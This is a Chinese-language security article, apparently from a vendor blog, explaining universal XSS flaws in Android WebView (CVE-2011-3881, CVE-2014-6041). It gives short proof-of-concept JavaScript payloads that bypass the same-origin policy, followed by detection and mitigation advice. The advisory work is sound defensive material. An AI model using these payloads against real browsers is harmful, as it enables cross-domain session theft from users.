0X01 前言
?
XSS是我們比較熟悉的一種攻擊方式,包括存儲型XSS、反射型XSS、DOM XSS等,但UXSS(通用型XSS)另外一種不同的漏洞類型,主要體現在漏洞的載體和影響范圍上。
XSS問題源于某一個WEB站點或應用存在安全問題,但受同源策略的約束,攻擊者只能訪問存在漏洞的站點的回話信息,無法訪問其他域的回話信息。
UXSS則主要源于瀏覽器或瀏覽器擴展程序的安全缺陷,不需要網站本身存在漏洞也可以觸發漏洞,攻擊者可以獲取到瀏覽器打開和緩存的所有頁面(不同域)的會話信息,因此UXSS漏洞的殺傷力極強。
由于Google把WebKit移植到了Android上,并將其作為WebView組件封裝在SDK中,但一些之前出現在PC版chrome的WebKit漏洞在SDK中并未修復,因此歷史的悲劇在android上再一次上演:
?相關漏洞可以上https://bugs.chromium.org/p/chromium/issues/list搜索。下文介紹幾個對應的漏洞。
?
0X02 CVE-2011-3881
?
WebKit, as used in Google Chrome before 15.0.874.102 and Android before 4.4, allows remote attackers to bypass the Same Origin Policy and conduct Universal XSS (UXSS) attacks via vectors related to
(1) the DOMWindow::clear function and use of a selection object,
(2) the Object::GetRealNamedPropertyInPrototypeChain function and use of an __proto__ property,
(3) the HTMLPlugInImageElement::allowedToLoadFrameURL function and use of a javascript: URL,
(4) incorrect origins for XSLT-generated documents in the XSLTProcessor::createDocumentFromSource function, and
(5) improper handling of synchronous frame loads in the ScriptController::executeIfJavaScriptURL function.
?
該漏洞主要由于HTMLPlugInImageElement::allowedToLoadFrameURL函數中對Javascript URL地址校驗不足,對源檢測不全導致的跨域問題:
?
POC:
<script>window.onload = function(){
? ? object = document.createElement("object");
? ? object.data = "http://google.com/";
? ? document.body.appendChild(object);
? ? object.onload = function() {
? ? object.data = "javascript:alert(document.body.innerHTML)";
? ? object.innerHTML = "foo";
? ? }
}</script>
?
0X03 CVE-2014-6041
?
The Android WebView in Android before 4.4 allows remote attackers to bypass the Same Origin Policy via a crafted attribute containing a \u0000 character, as demonstrated by an onclick="window.open ('\u0000javascript: ?sequence to the Android Browser application 4.2.1 or a third-party web browser.
?
由于很多廠商都是直接使用系統自帶的WebView,這將該漏洞的影響進一步擴大化,致使當時很多主流的應用紛紛中槍。
?
POC:
<input type=button value="test" onclick="
? a=document.createElement('script');
? a.id='AA';
? a.src='\u0000https://js.stripe.com/v2/';
? document.body.appendChild(a);
? setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}
else{alert(2);}}, 400);
return false;">
?
?
?
0X04 檢測
?
這類漏洞可以通過御安全動態的方式進行自動化的檢測,相關檢測樣例可以從https://bugs.chromium.org/p/chromium/issues/detail?id=xxx(bugid)中查詢到。
?
?
0X05 安全建議
?
前面提到的這些UXSS漏洞都已經在Android 4.4中修復,同時它也提供了自動升級webkit的功能,以便及時修復漏洞。
?
用戶:
1) ? ? ? ?盡量采用最新版的Android系統
2) ? ? ? ?盡量不要隨意點擊安全性未知的鏈接
廠商:
1) ? ? ? ?客戶端使用onPageStarted (WebView view, String url, Bitmap favicon)方法在跳轉前進行跨域判斷
2) ? ? ? ?使用最新的Webkit內核,但APK的size會變大,并且后續需要跟進Google Webkit官方進行更新。
3) ? ? ? ?客戶端對iframe object標簽屬性進行過濾
4) ? ? ?定期使用漏洞工具檢測(如御安全的漏洞庫將根據市場出現的樣本同步更新)
?
?
0X06 參考
?
http://drops.wooyun.org/tools/3186
https://bugs.chromium.org/p/chromium/issues/list
https://security.tencent.com/index.php/blog/msg/70
?
更多分析 騰訊御安全技術博客